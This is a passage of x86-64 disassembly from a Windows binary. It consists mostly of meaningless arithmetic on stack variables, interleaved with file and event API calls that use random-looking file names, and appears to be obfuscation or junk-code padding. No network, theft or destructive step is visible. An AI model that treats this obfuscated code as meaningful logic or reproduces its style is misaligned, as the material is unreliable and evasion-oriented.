mov rax, qword [rsp + 0x950]
sar rax, cl
mov qword [0x1400fd2d8], rax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d90]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb47
mov rcx, qword [rsp + 0x23e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
mov rax, qword [rsp + 0x1140]
mov qword [rsp + 0x3fc0], rax
mov rax, qword [rsp + 0x1140]
mov rcx, qword [rsp + 0x3658]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2890], rax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
mov word [rsp + 0x8a0], ax
mov rax, qword [rsp + 0xd40]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xdc0]
idiv dword [rcx]
mov dword [rsp + 0xcdc], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x24f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x23b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1840]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x40a], al
mov rax, qword [rsp + 0x19b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1170], rax
mov rax, qword [rsp + 0x1548]
mov eax, dword [rax]
mov dword [0x1400fd5e4], eax
movzx eax, word [0x1400fc47c]
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1ef8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x11f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f70]
shl rax, cl
mov rcx, qword [rsp + 0xf68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2588]
mov rcx, qword [rsp + 0x1748]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x1f10]
mov qword [rcx], rax
lea rax, [rsp + 0xe04]
mov qword [rsp + 0x3930], rax
movsx eax, byte [str._aMl]
movsx ecx, byte [rsp + 0x579]
xor eax, ecx
mov rcx, qword [rsp + 0x1840]
mov byte [rcx], al
movzx eax, word [rsp + 0x728]
mov word [rsp + 0x8a4], ax
mov rax, qword [rsp + 0x1470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dc]
sub eax, ecx
mov word [0x1400fc3b4], ax
mov rax, qword [0x1400fd2f8]
mov rax, qword [rax]
add rax, qword [rsp + 0x1518]
mov qword [rsp + 0x17d0], rax
mov rax, qword [rsp + 0x19e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1d68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x430], ax
mov rcx, qword [rsp + 0x2350]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xc3d9
mov rcx, qword [rsp + 0x2860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab4], eax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0x32f8], rax
mov rcx, qword [rsp + 0x1f20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xd56
mov rcx, qword [rsp + 0x3650]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a34], eax
mov eax, dword [rsp + 0x1674]
cdq
mov rcx, qword [rsp + 0x1d40]
idiv dword [rcx]
mov rcx, qword [rsp + 0x1278]
mov dword [rcx], eax
lea rax, [rsp + 0x1f78]
mov qword [rsp + 0x2958], rax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [0x1400fd330]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x404], al
mov rax, qword [rsp + 0x17a8]
mov rcx, qword [rsp + 0x1080]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x900], eax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e0]
sub eax, ecx
mov word [rsp + 0x4b8], ax
lea rax, [rsp + 0x2d8]
mov qword [0x1400fd5e8], rax
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1268]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x1b78]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3d70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1088]
mov qword [rsp + 0x2a60], rax
mov rax, qword [rsp + 0x12d0]
movsx eax, word [rax]
movsx ecx, word [0x1400fd440]
and eax, ecx
mov word [rsp + 0x860], ax
movzx eax, word [rsp + 0x114]
mov word [rsp + 0x8a8], ax
mov eax, dword [rsp + 0x10fc]
mov ecx, dword [rsp + 0x13b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f4], eax
movsx eax, byte [0x1400fc382]
movsx ecx, byte [rsp + 0x1bb]
add eax, ecx
mov byte [rsp + 0x404], al
mov rax, qword [rsp + 0x1e50]
mov qword [rsp + 0x2f78], rax
mov rax, qword [rsp + 0x1ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1138]
mov qword [rsp + 0x4908], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4908]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2890], rax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19c]
xor eax, ecx
mov word [0x1400fd16c], ax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x88c], ax
mov eax, dword [rsp + 0x480]
mov rcx, qword [rsp + 0x23d0]
mov qword [rsp + 0x4910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4910]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x10ec], eax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xd98]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.ZA_bdk74zHhmooeH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3970], rax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
mov qword [rsp + 0x3be8], rax
mov eax, dword [0x1400fc49c]
mov ecx, dword [rsp + 0x640]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1788]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x3688]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1ac4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x78fe
mov rcx, qword [rsp + 0x2000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13bc], eax
movsx eax, byte [rsp + 0x3f5]
movsx ecx, byte [rsp + 0x11f]
sub eax, ecx
mov byte [rsp + 0x581], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2970], rax
mov rax, qword [rsp + 0x1fd8]
mov rax, qword [rax]
add rax, qword [rsp + 0x1208]
mov rcx, qword [rsp + 0xfd0]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x84c1
mov rcx, qword [rsp + 0x3838]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
movsx eax, word [rsp + 0xe6c]
movsx ecx, word [rsp + 0x494]
and eax, ecx
mov rcx, qword [rsp + 0x1068]
mov word [rcx], ax
mov rcx, qword [rsp + 0x2970]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a38], eax
lea rax, [rsp + 0x590]
mov qword [0x1400fd5f0], rax
mov rax, qword [rsp + 0x28a0]
mov rax, qword [rax]
mov qword [rsp + 0x3258], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.HSxFGfcsgqPnOV1BPCIs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x36f8], rax
mov rax, qword [0x1400fd2d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x420]
sar eax, cl
mov word [rsp + 0x40c], ax
lea rax, [rsp + 0xb18]
mov qword [rsp + 0x3d90], rax
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x18b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb20]
mov qword [rcx], rax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x22d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3f8], al
mov eax, dword [rsp + 0x630]
mov dword [rsp + 0x26b8], eax
mov rax, qword [rsp + 0x1818]
mov rcx, qword [rsp + 0x2828]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x838], rax
lea rax, [rsp + 0x714]
mov qword [rsp + 0x3320], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x12e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400fd348], rax
mov rax, qword [rsp + 0x1468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x91], al
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xe00]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2770], eax
movsx eax, word [rsp + 0x8a4]
movsx ecx, word [rsp + 0xb1c]
sar eax, cl
mov word [rsp + 0xd0], ax
mov rax, qword [0x1400fd470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x144]
sub eax, ecx
mov rcx, qword [rsp + 0xdd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b40]
mov qword [rsp + 0x3128], rax
movsx eax, byte [rsp + 0x2d5]
movsx ecx, byte [rsp + 0x228]
add eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [0x1400fd358]
mov rcx, qword [rsp + 0x11f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x198c], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x189b
mov rcx, qword [rsp + 0x3288]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c4], eax
mov rax, qword [rsp + 0xfe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1280]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x164], ax
movzx eax, word [rsp + 0x220]
mov rcx, qword [0x1400fd270]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc3bc], ax
mov rax, qword [rsp + 0x1308]
mov rcx, qword [rsp + 0x2538]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x12e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x3868], rax
mov rax, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x1740]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x18a0], rax
movzx eax, word [rsp + 0x3b4]
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0x22c0]
mov rcx, qword [rsp + 0x2e70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x12a0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1c8]
movsx ecx, byte [rsp + 0x3fa]
or eax, ecx
mov rcx, qword [rsp + 0x16d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x828]
mov ecx, dword [rsp + 0x7ac]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1670], eax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xb0], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4ad8], rax
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
mov dword [rsp + 0x4348], eax
lea rax, [rsp + 0x594]
mov qword [0x1400fd5f8], rax
movzx eax, word [rsp + 0x198]
movzx ecx, word [rsp + 0x288]
sar eax, cl
mov word [rsp + 0x45c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xba46
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rax, qword [0x1400fd288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe9c]
sub eax, ecx
mov word [rsp + 0x440], ax
mov rax, qword [rsp + 0x12b0]
mov rax, qword [rax]
add rax, qword [rsp + 0x1d60]
mov qword [rsp + 0x3270], rax
mov rax, qword [0x1400fd4a0]
mov rcx, qword [rsp + 0x1208]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1748], rax
mov rax, qword [rsp + 0x2280]
movzx eax, byte [rax]
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0xf60]
mov eax, dword [rax]
add eax, dword [rsp + 0x510]
mov rcx, qword [rsp + 0x19e8]
mov dword [rcx], eax
movzx eax, word [0x1400fd1dc]
mov word [rsp + 0x5a4], ax
movzx eax, word [rsp + 0x418]
movzx ecx, word [rsp + 0xe0]
and eax, ecx
mov word [rsp + 0x590], ax
mov rax, qword [rsp + 0x1298]
mov rcx, qword [rsp + 0x1830]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc4b0], rax
movzx eax, word [rsp + 0x39c]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x23c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19f8]
mov rcx, qword [rsp + 0x3080]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3210], rax
mov rax, qword [rsp + 0xb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1460]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f20]
mov qword [rsp + 0x2600], rax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x17f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe5]
movzx ecx, byte [rsp + 0x173]
or eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x1ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2800], eax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20ec], eax
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x1710]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd598]
mov word [rcx], ax
lea rax, [rsp + 0x5a4]
mov qword [rsp + 0x4070], rax
mov rax, qword [rsp + 0x1358]
movzx eax, word [rax]
movzx ecx, word [0x1400fd150]
add eax, ecx
mov rcx, qword [rsp + 0x1b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x10a0]
movzx eax, word [rax]
movzx ecx, word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock]
and eax, ecx
mov word [rsp + 0x8c0], ax
mov rax, qword [rsp + 0x2ef8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e90], al
mov rax, qword [rsp + 0x2870]
mov rcx, qword [rsp + 0x2f70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2578], rax
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x3160], rax
movsx eax, word [rsp + 0x304]
mov rcx, qword [rsp + 0x1cc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
lea rax, [rsp + 0x424]
mov qword [rsp + 0x1f28], rax
mov rax, qword [rsp + 0x3668]
mov qword [0x1400fd600], rax
mov rax, qword [rsp + 0xb48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x12f0]
sar rax, cl
mov qword [rsp + 0x18c0], rax
mov rax, qword [rsp + 0x28a0]
mov rcx, qword [rsp + 0x1a28]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1540], rax
mov rcx, qword [rsp + 0x2458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0x38b0], rax
movzx eax, word [rsp + 0x5ec]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x214], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2200
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21bc], eax
mov rcx, qword [rsp + 0x2450]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22e]
or eax, ecx
mov byte [rsp + 0x22a], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x9aba
mov rcx, qword [rsp + 0x2a30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov eax, dword [rsp + 0x13a8]
mov rcx, qword [rsp + 0x2368]
mov qword [rsp + 0x4918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4918]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x1058]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.OeSlx2D0UHm0KJ_tAlHOY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4948], rax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [rsp + 0xf7]
sub eax, ecx
mov byte [rsp + 0x3fc], al
lea rax, [rsp + 0x568]
mov qword [rsp + 0x49b0], rax
mov rax, qword [rsp + 0xf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1448]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd148], rax
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x78]
sar eax, cl
mov word [rsp + 0xc1c], ax
lea rax, [0x1400fd498]
mov qword [rsp + 0x1fb0], rax
movzx eax, word [rsp + 0x48c]
movzx ecx, word [rsp + 0x884]
sub eax, ecx
mov rcx, qword [rsp + 0x10a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16e8]
add rax, qword [rcx]
mov rcx, qword [rsp + 0xf58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1170]
mov qword [rsp + 0x3028], rax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x37e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1bc0]
mov dword [rcx], eax
lea rax, [rsp + 0x13b]
mov qword [rsp + 0x2ee8], rax
mov rax, qword [0x1400fd448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1010]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc34], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1b05
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
movzx eax, word [rsp + 0x550]
mov rcx, qword [rsp + 0xd68]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd338]
mov word [rcx], ax
mov rax, qword [rsp + 0x1700]
mov rcx, qword [rsp + 0x12f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x980]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26dc], eax
movzx eax, word [rsp + 0x114]
mov word [rsp + 0x888], ax
mov eax, dword [rsp + 0x20c]
movzx ecx, al
mov eax, dword [rsp + 0xa04]
sar eax, cl
mov rcx, qword [rsp + 0x1d40]
mov dword [rcx], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe33f
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1cd0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0xf30]
mov rcx, qword [rsp + 0x1e50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x1908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1d80]
mov eax, dword [rax]
mov dword [rsp + 0x21cc], eax
movsx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0x2cb8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x61], al
movsx eax, word [rsp + 0x164]
mov rcx, qword [rsp + 0x1d70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19c], ax
movzx eax, word [rsp + 0x88]
mov rcx, qword [rsp + 0x1228]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc4b8], ax
lea rax, [rsp + 0x30e8]
mov qword [rsp + 0x22e0], rax
mov rax, qword [rsp + 0x1b30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1da0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x1180]
mov qword [rcx], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x1f30], rax
mov rax, qword [0x1400fd1a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c4]
and eax, ecx
mov word [rsp + 0x378], ax
mov eax, dword [rsp + 0x570]
movzx ecx, al
mov eax, dword [rsp + 0x9f4]
shr eax, cl
mov rcx, qword [rsp + 0x1788]
mov dword [rcx], eax
mov eax, 0x38
imul rax, rax, 0
lea rcx, [0x140054f20]
mov qword [rsp + rax + 0x5b68], rcx
mov rax, qword [rsp + 0x23b8]
mov rcx, qword [rsp + 0x2378]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3298], rax
mov rax, qword [rsp + 0x24f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1be0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40a], al
mov rax, qword [rsp + 0x2260]
mov rax, qword [rax]
mov qword [rsp + 0x39b8], rax
lea rax, [rsp + 0x72c]
mov qword [0x1400fd608], rax
movzx eax, word [rsp + 0x114]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6a4], ax
mov eax, dword [rsp + 0x2680]
cdq
mov rcx, qword [rsp + 0x2f60]
idiv dword [rcx]
mov rcx, qword [rsp + 0x2440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1758]
movzx eax, byte [rax]
mov byte [rsp + 0x57d], al
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x1898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2c98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x57f], al
mov rax, qword [rsp + 0x28d0]
mov rcx, qword [rsp + 0x2288]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x1eb8], rax
mov rax, qword [rsp + 0x17e0]
mov eax, dword [rax]
mov dword [rsp + 0x1128], eax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x34ec], eax
movsx eax, word [rsp + 0x370]
movsx ecx, word [rsp + 0xc28]
or eax, ecx
mov rcx, qword [rsp + 0x14e0]
mov word [rcx], ax
movzx eax, word [0x1400fd304]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd150], ax
mov rax, qword [rsp + 0x2a08]
movzx ecx, al
mov rax, qword [rsp + 0x2850]
sar rax, cl
mov qword [rsp + 0x18c0], rax
movzx eax, word [rsp + 0x4dc]
movzx ecx, word [0x1400fc3bc]
add eax, ecx
mov word [rsp + 0x5b0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5cab
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c4], eax
mov rax, qword [rsp + 0x1c90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1230]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x55c], ax
mov rcx, qword [rsp + 0x2c88]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x3c88], rax
movsx eax, byte [0x1400fd132]
mov rcx, qword [rsp + 0x1410]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x408], al
mov rax, qword [rsp + 0xf60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x694]
shr eax, cl
mov dword [rsp + 0xb98], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.RUeG6nvBrIq4PDgkdBEAmXzo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5488], rax
lea rax, [rsp + 0x1780]
mov qword [rsp + 0x2098], rax
movzx eax, word [rsp + 0xaf4]
movzx ecx, word [rsp + 0xaa8]
and eax, ecx
mov word [rsp + 0x598], ax
mov rax, qword [rsp + 0xfa8]
mov rcx, qword [rsp + 0x1e88]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fd258], rax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc50]
mov eax, dword [rax]
mov dword [rsp + 0x1380], eax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb18]
sub eax, ecx
mov word [rsp + 0x250], ax
mov rax, qword [rsp + 0x17c0]
movzx eax, word [rax]
mov rcx, qword [0x1400fd410]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0xd90]
mov rcx, qword [rsp + 0xd18]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1be8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6d09
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
lea rax, [rsp + 0x1c7]
mov qword [rsp + 0x2ec8], rax
mov rax, qword [rsp + 0x1ef0]
mov eax, dword [rax]
mov ecx, dword [0x1400fc46c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x3b0]
movsx ecx, word [rsp + 0x4e8]
shl eax, cl
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x8a0]
mov word [0x1400fd610], ax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a6c], eax
lea rax, [0x1400fc440]
mov qword [rsp + 0x2c58], rax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1738]
mov qword [rsp + 0x4920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4920]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3be8], rax
mov rax, qword [rsp + 0x14e8]
mov qword [rsp + 0x29a0], rax
mov rax, qword [rsp + 0x1a00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x64]
sub eax, ecx
mov word [rsp + 0x588], ax
lea rax, [rsp + 0x500]
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x38d0]
